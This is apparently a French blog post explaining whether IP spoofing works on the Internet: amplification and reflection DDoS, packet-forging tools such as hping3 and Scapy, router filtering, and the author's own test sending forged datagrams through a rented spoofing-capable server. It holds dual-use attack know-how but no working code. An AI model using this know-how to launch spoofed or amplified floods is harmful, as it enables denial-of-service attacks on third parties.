Il est évident que c'est possible puisque l'on sait que cela est déjà utilisé depuis longtemps par des attaques DDoS comme celles qui ont exploité (plus récemment) la fameuse commande NTP MONLIST.

Il y a deux critères majeurs pour qu'une attaque de ce type réussisse :
  • un fort vecteur d'amplification, c'est à dire envoyer peu et recevoir beaucoup en retour
  • une réflection, c'est le terme utilisé pour signifier que si on envoie un paquet avec une IP spoofée alors le destinataire va répondre à l'IP indiquée par le paquet falsifié (qui pour le coup sera la cible de l'attaque)
Dans cet article quand je parle de spoofing je parle bien de forger les paquets pour changer l'adresse IP et non d'utiliser un proxy ou un VPN quelconque (le mot spoofing est fréquemment galvaudé).

Comment spoofer son IP sur Internet ?

Pour forger de tels paquets (pour TCP) ou datagrammes (pour UDP) on peut avoir recours à des outils comme hping3, Nemesis ou écrire ses propres outils avec Scapy (en Python) ou en C avec les sockets RAW.

Toutefois si vous faites le test chez vous en envoyant un paquet avec une IP falsifiée chez un ami qui a lancé Wireshark (après avoir créé une redirection NAT of course) vous risquez d'être déçu : il ne recevra probablement pas ce paquet.

La raison la plus simple c'est qu'à notre époque tous les particuliers disposent d'une box faisant office de routeur vers l'Internet et que ce routeur est capable de filtrer les paquets à l'arrivée (ingress filtering) comme à la sortie (egress filtering). Et il n'a pas de raison valable de laisser filer un paquet avec une fausse adresse IP (pour pouvoir réellement tester il faudrait passer le routeur en mode bridge... à vos propre risques puisque vous exposez alors votre machine aux scans en tout genre).

Si par chance ce paquet forgé parvient tout de même à passer votre routeur, il faut encore qu'il passe d'autres routeurs probablement filtrants de votre ISP puis ceux sur le chemin (NSP, AS) avant de toquer à la porte de l'ISP de votre ami puis son propre routeur. Mais admettons :)

Plus vraisemblablement vous aurez à fouiller sur le web crado (dark-web ou assimilés) pour trouver une personne offrant (moyennant finance) un serveur permettant l'envoi de ces paquets spoofés, généralement vendu explicitement pour des attaques réseau.

Someone selling spoofed VPS services on a hacker forum

Ainsi avec l'accès à un tel serveur (aucun serveur n'a été maltraité durant le montage) j'avais pu il y a quelques temps de ça tester l'envoi de 4 datagrammes dont les IPs sources étaient respectivement celles de bing.com, facebook.com, google.com et un serveur OVH.

Wireshark capture showing spoofed paquets for facebook and bing

Sur ces 4 datagrammes, seul celui dont l'adresse IP source était celle de Google ne m'est pas parvenu. Preuve que cela fonctionne mais qu'il y a bien du filtrage sur le chemin.

Mais ce serveur qui autorisait aveuglément l'envoi de paquets forgés où se situait t-il ? Dans un pays de l'ex-union soviétique ? Dans un pays de l'Amérique Centrale ou du Sud où il n'y a pas que les cyber-criminels qui y trouvent refuge ?

En l'occurence ce serveur était hébergé chez nos voisins allemands (vive l'Europe) par Contabo.

Surprenant ? En fait non.
Si on se base sur les résultats du projet Spoofer du CAIDA (Center for Applied Internet Data Analysis) on peut voir qu'il y a des réseaux partout à travers le monde permettant d'envoyer des paquets avec adresse IP falsifiée.
Cela est très certainement la conséquence d'un laxisme de la part de ces entreprises. Il y a peut être parfois des raisons techniques et économiques.
Pour les réseaux qui eux filtrent les paquets on peut se demander jusqu'où va le filtrage. Depuis (par exemple) un serveur OVH pourrait-on spoofer l'IP d'un autre serveur OVH ? Si on incrémente juste l'adresse IP est-ce que cela passe ?

Que peut faire un attaquant avec de l'IP spoofing ?

Sur Internet pas grand chose : les attaques de détournement de session avec des outils comme Hunt ou Ettercap requièrent de pouvoir se mettre en situation d'homme du milieu avant de surveiller les numéros de séquence TCP. Des scénarios sur Internet semblent plutôt capilotracté.

Dès lors cette possibilité sera majoritairement exploitée dans des attaques DDoS. En TCP ont peu en profiter pour faire du SYN flood et en UDP on exploitera un protocole quelconque avec un fort taux d'amplification.

Même si ces types d'attaques sont toujours utilisés à notre époque, un botnet comme Mirai a montré que c'était plus simple et plus efficace de simplement pénétrer des objets connectés à la sécurité inexistante pour en faire des zombies...

Pour plus d'informations sur le sujet vous pouvez lire cette présentation de CloudFlare.

Conclusion

C'est tout à fait possible de spoofer son IP sur Internet, mais pas depuis n'importe quel réseau. Cela se fera obligatoirement depuis un ISP qui ferme les yeux (volontairement ou non) sur le spoofing IP.
Même avec cette possibilité certains paquets spoofés risquent de ne pas toucher leur cible en raison de routeurs qui appliquent des règles de filtrage en chemin.

Si vous avez des questions cons (mais pas trop) que vous vous posez et qui ne nécessitent pas trop d'investigation pour y répondre, n'hésitez pas à me contacter par email.

Classé dans : Non classé - Mots clés : aucun